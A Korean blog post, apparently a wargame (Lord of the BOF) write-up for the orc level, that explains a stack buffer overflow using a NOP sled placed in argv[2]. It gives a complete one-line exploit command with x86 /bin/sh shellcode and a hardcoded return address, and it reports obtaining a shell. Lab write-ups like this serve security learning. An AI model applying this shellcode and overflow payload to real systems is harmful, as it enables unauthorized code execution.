먼저 코드를 봅시다 !
egghunter 부분으로 환경변수에 쉘코드를 넣어 실행시키는게 불가능 합니다.
argv 갯수 제한이 없으므로 argv[2]에 NOP + shellcode 넣고 ret를 argv[2]주소로 돌리면 될거같습니다.
NOP를 넣는 이유 :
shellcode를 넣는다 하더라도 정확한 주소를 맞출수가 거의 없습니다. 따라서 NOP을 앞에 넣어주므로 우리가 만약 shellcode의 주소를
정확히 못맞추더라도 NOP을 타고 내려가서 shellcode를 실행 시킬수 있기 떄문에 shellcode 실행 확률을 높혀 줍니다.
argv[2] 주소를 알기위해 소스코드를 수정할 겁니다. 수정을 위해 하나 복사해 주고,
exp.c 마지막줄에 추가해 줍시다 .
공격을
argv [1] : dummy [40 byte] + SFP [4 byte] + RET [4 byte; argv[2] 주소로]
argv [2] : NOP [1000 byte] + Shellcode
로 진행할 것이므로 모르는 argv[2] 주소는 대충 \xbf\xbf\xbf\xbf로 채우고 exp를 실행 시켜 봅시다.
그럼 이런식으로 argv[2] 주소가 나옵니다. 그럼 \xbf\xbf\xbf\xbf 대신 \x5f\xf8\xff\xbf를 넣고 돌려봅시다.
exp를 먼저 공격해보니 쉘을 얻었습니다. 그럼 orc에 공격을 해보죠!
./orc `python -c 'print "A"*44 (dummy + sfp) + "\x5f\xf8\xff\xbf"(argv[2] 주소) + " " + "\x90"*1000(NOP) +
"\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"(Shellcode) '`
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level6] wolfman -> darkelf (0) | 2017.05.17 |
---|---|
[Level5] orc -> wolfman (0) | 2017.05.17 |
클리어! (0) | 2017.05.17 |
[Level3]cobolt -> goblin (2) | 2017.05.02 |
[Level2]gremlin -> cobolt (0) | 2017.05.02 |